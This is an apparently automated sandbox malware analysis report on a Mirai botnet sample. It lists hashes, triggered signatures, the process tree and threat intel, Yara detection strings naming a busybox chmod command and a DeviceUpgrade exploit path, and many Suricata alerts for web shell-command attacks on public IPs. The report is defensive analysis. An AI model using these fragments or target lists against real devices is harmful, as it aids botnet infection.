Edit tour

Linux Analysis Report
z0r0.m68k.elf

Overview

General Information

Sample name:	z0r0.m68k.elf
Analysis ID:	1584433
MD5:	bda79d840456d1f20011c079dedbc03c
SHA1:	6c317ebc273bd24495cad078188acaaa8a7ea135
SHA256:	0238b4523a250517d9392e65fef42570986e9e6a53c5fc956e7dcf423e84b0f7
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584433
Start date and time:	2025-01-05 14:33:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	z0r0.m68k.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@49/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: tojaubec.shop

Runtime Messages

Command:	/tmp/z0r0.m68k.elf
PID:	5478
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

z0r0.m68k.elf (PID: 5478, Parent: 5398, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/z0r0.m68k.elf

z0r0.m68k.elf New Fork (PID: 5480, Parent: 5478)

z0r0.m68k.elf New Fork (PID: 5482, Parent: 5480)

z0r0.m68k.elf New Fork (PID: 5484, Parent: 5480)

z0r0.m68k.elf New Fork (PID: 5485, Parent: 5480)

z0r0.m68k.elf New Fork (PID: 5487, Parent: 5480)

z0r0.m68k.elf New Fork (PID: 5489, Parent: 5480)

xfce4-panel New Fork (PID: 5495, Parent: 3147)

wrapper-2.0 (PID: 5495, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5496, Parent: 3147)

wrapper-2.0 (PID: 5496, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5497, Parent: 3147)

wrapper-2.0 (PID: 5497, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5498, Parent: 3147)

wrapper-2.0 (PID: 5498, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 5517, Parent: 5498)

xfpm-power-backlight-helper (PID: 5517, Parent: 5498, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 5499, Parent: 3147)

wrapper-2.0 (PID: 5499, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5500, Parent: 3147)

wrapper-2.0 (PID: 5500, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 5516, Parent: 5515)

xfconfd (PID: 5516, Parent: 5515, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

systemd New Fork (PID: 5527, Parent: 2935)

xfce4-notifyd (PID: 5527, Parent: 2935, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
z0r0.m68k.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
z0r0.m68k.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
z0r0.m68k.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x108ce:$x2: /bin/busybox chmod 777 * /tmp/ 0x10623:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
5478.1.00007f0b10001000.00007f0b10013000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5478.1.00007f0b10001000.00007f0b10013000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5478.1.00007f0b10001000.00007f0b10013000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x108ce:$x2: /bin/busybox chmod 777 * /tmp/ 0x10623:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5482.1.00007f0b10001000.00007f0b10013000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5482.1.00007f0b10001000.00007f0b10013000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5482.1.00007f0b10001000.00007f0b10013000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x108ce:$x2: /bin/busybox chmod 777 * /tmp/ 0x10623:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: z0r0.m68k.elf PID: 5478	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: z0r0.m68k.elf PID: 5482	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T14:34:55.953354+0100	2030092	1	Web Application Attack	192.168.2.13	41778	120.75.215.22	80	TCP
2025-01-05T14:34:56.278392+0100	2030092	1	Web Application Attack	192.168.2.13	35082	23.224.32.45	80	TCP
2025-01-05T14:34:58.573590+0100	2030092	1	Web Application Attack	192.168.2.13	40822	20.206.193.222	80	TCP
2025-01-05T14:34:59.276145+0100	2030092	1	Web Application Attack	192.168.2.13	60980	149.218.144.175	80	TCP
2025-01-05T14:34:59.284135+0100	2030092	1	Web Application Attack	192.168.2.13	53112	107.209.39.169	80	TCP
2025-01-05T14:35:02.964667+0100	2030092	1	Web Application Attack	192.168.2.13	37194	118.159.189.29	80	TCP
2025-01-05T14:35:05.006053+0100	2030092	1	Web Application Attack	192.168.2.13	53856	184.27.73.98	80	TCP
2025-01-05T14:35:05.612136+0100	2030092	1	Web Application Attack	192.168.2.13	59770	23.174.63.21	80	TCP
2025-01-05T14:35:05.968339+0100	2030092	1	Web Application Attack	192.168.2.13	60546	88.151.11.104	80	TCP
2025-01-05T14:35:07.448092+0100	2030092	1	Web Application Attack	192.168.2.13	39564	198.200.38.184	80	TCP
2025-01-05T14:35:12.466925+0100	2030092	1	Web Application Attack	192.168.2.13	53556	38.199.147.182	80	TCP
2025-01-05T14:35:14.137305+0100	2030092	1	Web Application Attack	192.168.2.13	38054	102.228.238.136	80	TCP
2025-01-05T14:35:14.183462+0100	2030092	1	Web Application Attack	192.168.2.13	40792	19.186.177.83	80	TCP
2025-01-05T14:35:14.187047+0100	2030092	1	Web Application Attack	192.168.2.13	51812	169.129.160.250	80	TCP
2025-01-05T14:35:14.230309+0100	2030092	1	Web Application Attack	192.168.2.13	50644	167.80.67.59	80	TCP
2025-01-05T14:35:14.231855+0100	2030092	1	Web Application Attack	192.168.2.13	46086	160.116.38.154	80	TCP
2025-01-05T14:35:14.245681+0100	2030092	1	Web Application Attack	192.168.2.13	47258	191.71.162.219	80	TCP
2025-01-05T14:35:14.261454+0100	2030092	1	Web Application Attack	192.168.2.13	54932	196.192.115.255	80	TCP
2025-01-05T14:35:14.292630+0100	2030092	1	Web Application Attack	192.168.2.13	57274	154.179.240.225	80	TCP
2025-01-05T14:35:14.294421+0100	2030092	1	Web Application Attack	192.168.2.13	49294	172.222.47.240	80	TCP
2025-01-05T14:35:14.370851+0100	2030092	1	Web Application Attack	192.168.2.13	50742	186.171.85.18	80	TCP
2025-01-05T14:35:14.372513+0100	2030092	1	Web Application Attack	192.168.2.13	47698	125.253.31.3	80	TCP
2025-01-05T14:35:14.439102+0100	2030092	1	Web Application Attack	192.168.2.13	51310	86.6.121.248	80	TCP
2025-01-05T14:35:15.106021+0100	2030092	1	Web Application Attack	192.168.2.13	43754	75.150.125.115	80	TCP
2025-01-05T14:35:15.314744+0100	2030092	1	Web Application Attack	192.168.2.13	55374	122.134.154.13	80	TCP
2025-01-05T14:35:15.314753+0100	2030092	1	Web Application Attack	192.168.2.13	34234	105.76.238.137	80	TCP
2025-01-05T14:35:15.314753+0100	2030092	1	Web Application Attack	192.168.2.13	44760	67.218.1.210	80	TCP
2025-01-05T14:35:15.314754+0100	2030092	1	Web Application Attack	192.168.2.13	35174	148.26.74.211	80	TCP
2025-01-05T14:35:15.314802+0100	2030092	1	Web Application Attack	192.168.2.13	47658	132.86.162.206	80	TCP
2025-01-05T14:35:15.314890+0100	2030092	1	Web Application Attack	192.168.2.13	42640	2.208.165.87	80	TCP
2025-01-05T14:35:15.314897+0100	2030092	1	Web Application Attack	192.168.2.13	57548	91.43.249.211	80	TCP
2025-01-05T14:35:15.314943+0100	2030092	1	Web Application Attack	192.168.2.13	58414	165.35.35.169	80	TCP
2025-01-05T14:35:15.314992+0100	2030092	1	Web Application Attack	192.168.2.13	51856	183.180.216.81	80	TCP
2025-01-05T14:35:15.315038+0100	2030092	1	Web Application Attack	192.168.2.13	48586	60.208.214.47	80	TCP
2025-01-05T14:35:15.315057+0100	2030092	1	Web Application Attack	192.168.2.13	41010	70.180.28.131	80	TCP
2025-01-05T14:35:15.315065+0100	2030092	1	Web Application Attack	192.168.2.13	59012	157.253.86.180	80	TCP
2025-01-05T14:35:15.315102+0100	2030092	1	Web Application Attack	192.168.2.13	40042	166.131.190.80	80	TCP
2025-01-05T14:35:15.315123+0100	2030092	1	Web Application Attack	192.168.2.13	47744	17.149.159.4	80	TCP
2025-01-05T14:35:15.417790+0100	2030092	1	Web Application Attack	192.168.2.13	41514	161.107.166.33	80	TCP
2025-01-05T14:35:15.417849+0100	2030092	1	Web Application Attack	192.168.2.13	36922	166.179.233.91	80	TCP
2025-01-05T14:35:15.419307+0100	2030092	1	Web Application Attack	192.168.2.13	58112	48.250.215.171	80	TCP
2025-01-05T14:35:15.433255+0100	2030092	1	Web Application Attack	192.168.2.13	43054	188.234.143.250	80	TCP
2025-01-05T14:35:15.433331+0100	2030092	1	Web Application Attack	192.168.2.13	39636	72.145.72.193	80	TCP
2025-01-05T14:35:15.435232+0100	2030092	1	Web Application Attack	192.168.2.13	49834	95.145.163.29	80	TCP
2025-01-05T14:35:15.437089+0100	2030092	1	Web Application Attack	192.168.2.13	38472	5.252.142.147	80	TCP
2025-01-05T14:35:15.437146+0100	2030092	1	Web Application Attack	192.168.2.13	41164	1.166.123.153	80	TCP
2025-01-05T14:35:15.437192+0100	2030092	1	Web Application Attack	192.168.2.13	37260	143.189.106.192	80	TCP
2025-01-05T14:35:15.437360+0100	2030092	1	Web Application Attack	192.168.2.13	47546	220.83.51.33	80	TCP
2025-01-05T14:35:15.438084+0100	2030092	1	Web Application Attack	192.168.2.13	34570	113.255.83.238	80	TCP
2025-01-05T14:35:16.449842+0100	2030092	1	Web Application Attack	192.168.2.13	39838	95.67.170.147	80	TCP
2025-01-05T14:35:16.480234+0100	2030092	1	Web Application Attack	192.168.2.13	44432	92.178.11.42	80	TCP
2025-01-05T14:35:16.485725+0100	2030092	1	Web Application Attack	192.168.2.13	36312	203.249.13.96	80	TCP
2025-01-05T14:35:17.152192+0100	2030092	1	Web Application Attack	192.168.2.13	50166	92.185.151.122	80	TCP
2025-01-05T14:35:17.152252+0100	2030092	1	Web Application Attack	192.168.2.13	36182	131.92.77.249	80	TCP
2025-01-05T14:35:17.183311+0100	2030092	1	Web Application Attack	192.168.2.13	48512	125.109.219.8	80	TCP
2025-01-05T14:35:17.183716+0100	2030092	1	Web Application Attack	192.168.2.13	46638	188.148.5.67	80	TCP
2025-01-05T14:35:17.183799+0100	2030092	1	Web Application Attack	192.168.2.13	42380	104.36.217.230	80	TCP
2025-01-05T14:35:17.184008+0100	2030092	1	Web Application Attack	192.168.2.13	54802	99.164.207.221	80	TCP
2025-01-05T14:35:17.184073+0100	2030092	1	Web Application Attack	192.168.2.13	41496	19.126.39.244	80	TCP
2025-01-05T14:35:17.184612+0100	2030092	1	Web Application Attack	192.168.2.13	56372	85.66.186.124	80	TCP
2025-01-05T14:35:17.185104+0100	2030092	1	Web Application Attack	192.168.2.13	48844	78.20.11.62	80	TCP
2025-01-05T14:35:17.186223+0100	2030092	1	Web Application Attack	192.168.2.13	54474	38.94.34.240	80	TCP
2025-01-05T14:35:17.186336+0100	2030092	1	Web Application Attack	192.168.2.13	46554	63.43.10.28	80	TCP
2025-01-05T14:35:17.187321+0100	2030092	1	Web Application Attack	192.168.2.13	37248	158.69.164.161	80	TCP
2025-01-05T14:35:17.198933+0100	2030092	1	Web Application Attack	192.168.2.13	42704	57.119.84.72	80	TCP
2025-01-05T14:35:17.198975+0100	2030092	1	Web Application Attack	192.168.2.13	59486	138.242.91.81	80	TCP
2025-01-05T14:35:17.199061+0100	2030092	1	Web Application Attack	192.168.2.13	49448	178.237.118.100	80	TCP
2025-01-05T14:35:17.199336+0100	2030092	1	Web Application Attack	192.168.2.13	43882	143.206.192.80	80	TCP
2025-01-05T14:35:17.200820+0100	2030092	1	Web Application Attack	192.168.2.13	39778	83.126.174.186	80	TCP
2025-01-05T14:35:17.201138+0100	2030092	1	Web Application Attack	192.168.2.13	52840	192.5.111.66	80	TCP
2025-01-05T14:35:17.201228+0100	2030092	1	Web Application Attack	192.168.2.13	49444	110.68.47.188	80	TCP
2025-01-05T14:35:17.201245+0100	2030092	1	Web Application Attack	192.168.2.13	33470	65.210.246.241	80	TCP
2025-01-05T14:35:17.204297+0100	2030092	1	Web Application Attack	192.168.2.13	46928	43.81.231.176	80	TCP
2025-01-05T14:35:17.204889+0100	2030092	1	Web Application Attack	192.168.2.13	60040	113.43.149.121	80	TCP
2025-01-05T14:35:17.218231+0100	2030092	1	Web Application Attack	192.168.2.13	54926	36.247.60.108	80	TCP
2025-01-05T14:35:17.218346+0100	2030092	1	Web Application Attack	192.168.2.13	58776	51.175.132.128	80	TCP
2025-01-05T14:35:17.218437+0100	2030092	1	Web Application Attack	192.168.2.13	38300	180.183.87.174	80	TCP
2025-01-05T14:35:17.218555+0100	2030092	1	Web Application Attack	192.168.2.13	40610	209.164.155.93	80	TCP
2025-01-05T14:35:17.234052+0100	2030092	1	Web Application Attack	192.168.2.13	45310	197.26.207.114	80	TCP
2025-01-05T14:35:17.312505+0100	2030092	1	Web Application Attack	192.168.2.13	39168	69.206.208.139	80	TCP
2025-01-05T14:35:17.355282+0100	2030092	1	Web Application Attack	192.168.2.13	44664	202.226.133.66	80	TCP
2025-01-05T14:35:17.437191+0100	2030092	1	Web Application Attack	192.168.2.13	46954	120.114.84.38	80	TCP
2025-01-05T14:35:17.453846+0100	2030092	1	Web Application Attack	192.168.2.13	54196	71.104.122.79	80	TCP
2025-01-05T14:35:19.433483+0100	2030092	1	Web Application Attack	192.168.2.13	35768	203.215.253.118	80	TCP
2025-01-05T14:35:19.437171+0100	2030092	1	Web Application Attack	192.168.2.13	46554	130.175.77.211	80	TCP
2025-01-05T14:35:19.448141+0100	2030092	1	Web Application Attack	192.168.2.13	51962	59.179.62.232	80	TCP
2025-01-05T14:35:19.499790+0100	2030092	1	Web Application Attack	192.168.2.13	58930	36.182.43.185	80	TCP
2025-01-05T14:35:19.511581+0100	2030092	1	Web Application Attack	192.168.2.13	40224	139.140.9.190	80	TCP
2025-01-05T14:35:19.513546+0100	2030092	1	Web Application Attack	192.168.2.13	37598	126.164.100.191	80	TCP
2025-01-05T14:35:19.514438+0100	2030092	1	Web Application Attack	192.168.2.13	33922	151.142.20.255	80	TCP
2025-01-05T14:35:19.558323+0100	2030092	1	Web Application Attack	192.168.2.13	40168	204.141.229.132	80	TCP
2025-01-05T14:35:19.562124+0100	2030092	1	Web Application Attack	192.168.2.13	54770	181.50.53.2	80	TCP
2025-01-05T14:35:19.562158+0100	2030092	1	Web Application Attack	192.168.2.13	35974	219.70.242.147	80	TCP
2025-01-05T14:35:19.563923+0100	2030092	1	Web Application Attack	192.168.2.13	43380	120.217.143.184	80	TCP
2025-01-05T14:35:19.573864+0100	2030092	1	Web Application Attack	192.168.2.13	41458	163.142.15.188	80	TCP
2025-01-05T14:35:19.589718+0100	2030092	1	Web Application Attack	192.168.2.13	38388	198.249.217.20	80	TCP
2025-01-05T14:35:19.607298+0100	2030092	1	Web Application Attack	192.168.2.13	60350	187.77.75.60	80	TCP
2025-01-05T14:35:19.621112+0100	2030092	1	Web Application Attack	192.168.2.13	57326	112.186.58.119	80	TCP
2025-01-05T14:35:20.453781+0100	2030092	1	Web Application Attack	192.168.2.13	60436	123.54.183.241	80	TCP
2025-01-05T14:35:20.652065+0100	2030092	1	Web Application Attack	192.168.2.13	57154	159.234.213.235	80	TCP
2025-01-05T14:35:20.652290+0100	2030092	1	Web Application Attack	192.168.2.13	42598	70.145.8.67	80	TCP
2025-01-05T14:35:20.667870+0100	2030092	1	Web Application Attack	192.168.2.13	40502	98.203.60.63	80	TCP
2025-01-05T14:35:20.670789+0100	2030092	1	Web Application Attack	192.168.2.13	59960	148.177.12.116	80	TCP
2025-01-05T14:35:20.683441+0100	2030092	1	Web Application Attack	192.168.2.13	55290	9.9.137.157	80	TCP
2025-01-05T14:35:20.683527+0100	2030092	1	Web Application Attack	192.168.2.13	47202	143.71.140.71	80	TCP
2025-01-05T14:35:20.684352+0100	2030092	1	Web Application Attack	192.168.2.13	44430	78.155.255.230	80	TCP
2025-01-05T14:35:20.685048+0100	2030092	1	Web Application Attack	192.168.2.13	48472	213.11.144.146	80	TCP
2025-01-05T14:35:20.685128+0100	2030092	1	Web Application Attack	192.168.2.13	49946	204.248.109.44	80	TCP
2025-01-05T14:35:20.685204+0100	2030092	1	Web Application Attack	192.168.2.13	49742	109.146.34.96	80	TCP
2025-01-05T14:35:20.685377+0100	2030092	1	Web Application Attack	192.168.2.13	34994	135.40.7.85	80	TCP
2025-01-05T14:35:20.687229+0100	2030092	1	Web Application Attack	192.168.2.13	54048	129.167.223.16	80	TCP
2025-01-05T14:35:20.688921+0100	2030092	1	Web Application Attack	192.168.2.13	39910	4.31.183.181	80	TCP
2025-01-05T14:35:21.485851+0100	2030092	1	Web Application Attack	192.168.2.13	39518	133.206.206.122	80	TCP
2025-01-05T14:35:21.709273+0100	2030092	1	Web Application Attack	192.168.2.13	44878	81.220.130.17	80	TCP
2025-01-05T14:35:21.709278+0100	2030092	1	Web Application Attack	192.168.2.13	41826	196.113.39.196	80	TCP
2025-01-05T14:35:22.482239+0100	2030092	1	Web Application Attack	192.168.2.13	47534	4.72.184.235	80	TCP
2025-01-05T14:35:22.484190+0100	2030092	1	Web Application Attack	192.168.2.13	40186	162.220.2.172	80	TCP
2025-01-05T14:35:22.515647+0100	2030092	1	Web Application Attack	192.168.2.13	58312	157.6.177.246	80	TCP
2025-01-05T14:35:22.531026+0100	2030092	1	Web Application Attack	192.168.2.13	49808	192.42.222.62	80	TCP
2025-01-05T14:35:22.542922+0100	2030092	1	Web Application Attack	192.168.2.13	51016	79.116.248.55	80	TCP
2025-01-05T14:35:22.542938+0100	2030092	1	Web Application Attack	192.168.2.13	51850	97.20.150.117	80	TCP
2025-01-05T14:35:22.558580+0100	2030092	1	Web Application Attack	192.168.2.13	45794	166.80.178.29	80	TCP
2025-01-05T14:35:22.562402+0100	2030092	1	Web Application Attack	192.168.2.13	55262	66.111.47.208	80	TCP
2025-01-05T14:35:22.577828+0100	2030092	1	Web Application Attack	192.168.2.13	56374	17.46.78.253	80	TCP
2025-01-05T14:35:22.605459+0100	2030092	1	Web Application Attack	192.168.2.13	33090	189.0.183.80	80	TCP
2025-01-05T14:35:22.605939+0100	2030092	1	Web Application Attack	192.168.2.13	57308	138.183.55.28	80	TCP
2025-01-05T14:35:22.607160+0100	2030092	1	Web Application Attack	192.168.2.13	49134	205.239.229.243	80	TCP
2025-01-05T14:35:22.609127+0100	2030092	1	Web Application Attack	192.168.2.13	47836	197.235.197.121	80	TCP
2025-01-05T14:35:22.642107+0100	2030092	1	Web Application Attack	192.168.2.13	49272	104.152.54.54	80	TCP
2025-01-05T14:35:22.652332+0100	2030092	1	Web Application Attack	192.168.2.13	43998	217.153.188.215	80	TCP
2025-01-05T14:35:22.652804+0100	2030092	1	Web Application Attack	192.168.2.13	40642	144.119.91.38	80	TCP
2025-01-05T14:35:22.653883+0100	2030092	1	Web Application Attack	192.168.2.13	37080	69.161.126.58	80	TCP
2025-01-05T14:35:22.667805+0100	2030092	1	Web Application Attack	192.168.2.13	57020	128.112.38.90	80	TCP
2025-01-05T14:35:22.671663+0100	2030092	1	Web Application Attack	192.168.2.13	57678	95.19.138.98	80	TCP
2025-01-05T14:35:22.683423+0100	2030092	1	Web Application Attack	192.168.2.13	55948	72.63.230.236	80	TCP
2025-01-05T14:35:22.699032+0100	2030092	1	Web Application Attack	192.168.2.13	39424	90.108.111.109	80	TCP
2025-01-05T14:35:22.700866+0100	2030092	1	Web Application Attack	192.168.2.13	43034	129.211.146.204	80	TCP
2025-01-05T14:35:22.704584+0100	2030092	1	Web Application Attack	192.168.2.13	51974	88.216.109.178	80	TCP
2025-01-05T14:35:22.730313+0100	2030092	1	Web Application Attack	192.168.2.13	36068	5.75.149.40	80	TCP
2025-01-05T14:35:22.730314+0100	2030092	1	Web Application Attack	192.168.2.13	54890	116.112.231.234	80	TCP
2025-01-05T14:35:22.731927+0100	2030092	1	Web Application Attack	192.168.2.13	37900	202.130.99.38	80	TCP
2025-01-05T14:35:22.734070+0100	2030092	1	Web Application Attack	192.168.2.13	53976	38.193.115.79	80	TCP
2025-01-05T14:35:22.777389+0100	2030092	1	Web Application Attack	192.168.2.13	50748	25.54.225.86	80	TCP
2025-01-05T14:35:22.778372+0100	2030092	1	Web Application Attack	192.168.2.13	34642	35.112.130.0	80	TCP
2025-01-05T14:35:22.799475+0100	2030092	1	Web Application Attack	192.168.2.13	58504	133.118.225.164	80	TCP
2025-01-05T14:35:22.826003+0100	2030092	1	Web Application Attack	192.168.2.13	38210	189.229.250.31	80	TCP
2025-01-05T14:35:22.829592+0100	2030092	1	Web Application Attack	192.168.2.13	52024	185.182.217.67	80	TCP
2025-01-05T14:35:22.839752+0100	2030092	1	Web Application Attack	192.168.2.13	36374	97.244.33.25	80	TCP
2025-01-05T14:35:22.839754+0100	2030092	1	Web Application Attack	192.168.2.13	53062	1.193.110.180	80	TCP
2025-01-05T14:35:22.855227+0100	2030092	1	Web Application Attack	192.168.2.13	36696	209.150.79.136	80	TCP
2025-01-05T14:35:22.872708+0100	2030092	1	Web Application Attack	192.168.2.13	59796	159.47.171.162	80	TCP
2025-01-05T14:35:22.890418+0100	2030092	1	Web Application Attack	192.168.2.13	37288	104.26.182.212	80	TCP
2025-01-05T14:35:22.906003+0100	2030092	1	Web Application Attack	192.168.2.13	45704	45.165.167.126	80	TCP
2025-01-05T14:35:22.920873+0100	2030092	1	Web Application Attack	192.168.2.13	35788	19.6.226.162	80	TCP
2025-01-05T14:35:22.923394+0100	2030092	1	Web Application Attack	192.168.2.13	60124	166.187.185.64	80	TCP
2025-01-05T14:35:22.949748+0100	2030092	1	Web Application Attack	192.168.2.13	58822	213.119.90.178	80	TCP
2025-01-05T14:35:23.511665+0100	2030092	1	Web Application Attack	192.168.2.13	59960	44.158.121.102	80	TCP
2025-01-05T14:35:23.512306+0100	2030092	1	Web Application Attack	192.168.2.13	50594	182.108.239.192	80	TCP
2025-01-05T14:35:23.515509+0100	2030092	1	Web Application Attack	192.168.2.13	52208	106.98.6.182	80	TCP
2025-01-05T14:35:23.559267+0100	2030092	1	Web Application Attack	192.168.2.13	51862	60.252.105.123	80	TCP
2025-01-05T14:35:23.560482+0100	2030092	1	Web Application Attack	192.168.2.13	59264	143.61.230.117	80	TCP
2025-01-05T14:35:23.563201+0100	2030092	1	Web Application Attack	192.168.2.13	41420	65.50.253.98	80	TCP
2025-01-05T14:35:23.573930+0100	2030092	1	Web Application Attack	192.168.2.13	37130	118.123.115.190	80	TCP
2025-01-05T14:35:23.591692+0100	2030092	1	Web Application Attack	192.168.2.13	35248	71.115.238.200	80	TCP
2025-01-05T14:35:23.594468+0100	2030092	1	Web Application Attack	192.168.2.13	37340	105.164.179.94	80	TCP
2025-01-05T14:35:23.595348+0100	2030092	1	Web Application Attack	192.168.2.13	36968	206.51.38.129	80	TCP
2025-01-05T14:35:23.642264+0100	2030092	1	Web Application Attack	192.168.2.13	47650	150.132.66.234	80	TCP
2025-01-05T14:35:23.656101+0100	2030092	1	Web Application Attack	192.168.2.13	41556	71.19.188.39	80	TCP
2025-01-05T14:35:23.687200+0100	2030092	1	Web Application Attack	192.168.2.13	37120	40.16.176.8	80	TCP
2025-01-05T14:35:23.794867+0100	2030092	1	Web Application Attack	192.168.2.13	52064	146.238.125.7	80	TCP
2025-01-05T14:35:23.808800+0100	2030092	1	Web Application Attack	192.168.2.13	33862	61.198.150.68	80	TCP
2025-01-05T14:35:23.808865+0100	2030092	1	Web Application Attack	192.168.2.13	37720	133.125.76.20	80	TCP
2025-01-05T14:35:23.809329+0100	2030092	1	Web Application Attack	192.168.2.13	38434	94.59.87.106	80	TCP
2025-01-05T14:35:23.810438+0100	2030092	1	Web Application Attack	192.168.2.13	51944	152.172.151.57	80	TCP
2025-01-05T14:35:23.810654+0100	2030092	1	Web Application Attack	192.168.2.13	53512	52.41.130.112	80	TCP
2025-01-05T14:35:23.812436+0100	2030092	1	Web Application Attack	192.168.2.13	38362	123.0.203.63	80	TCP
2025-01-05T14:35:23.812794+0100	2030092	1	Web Application Attack	192.168.2.13	54986	153.219.128.111	80	TCP
2025-01-05T14:35:23.815041+0100	2030092	1	Web Application Attack	192.168.2.13	48412	103.166.90.206	80	TCP
2025-01-05T14:35:23.828777+0100	2030092	1	Web Application Attack	192.168.2.13	33046	51.141.52.144	80	TCP
2025-01-05T14:35:23.843591+0100	2030092	1	Web Application Attack	192.168.2.13	33364	45.30.153.204	80	TCP
2025-01-05T14:35:23.860883+0100	2030092	1	Web Application Attack	192.168.2.13	33498	208.68.92.42	80	TCP
2025-01-05T14:35:23.921577+0100	2030092	1	Web Application Attack	192.168.2.13	49156	177.187.139.79	80	TCP
2025-01-05T14:35:24.276118+0100	2030092	1	Web Application Attack	192.168.2.13	60150	220.134.22.54	80	TCP
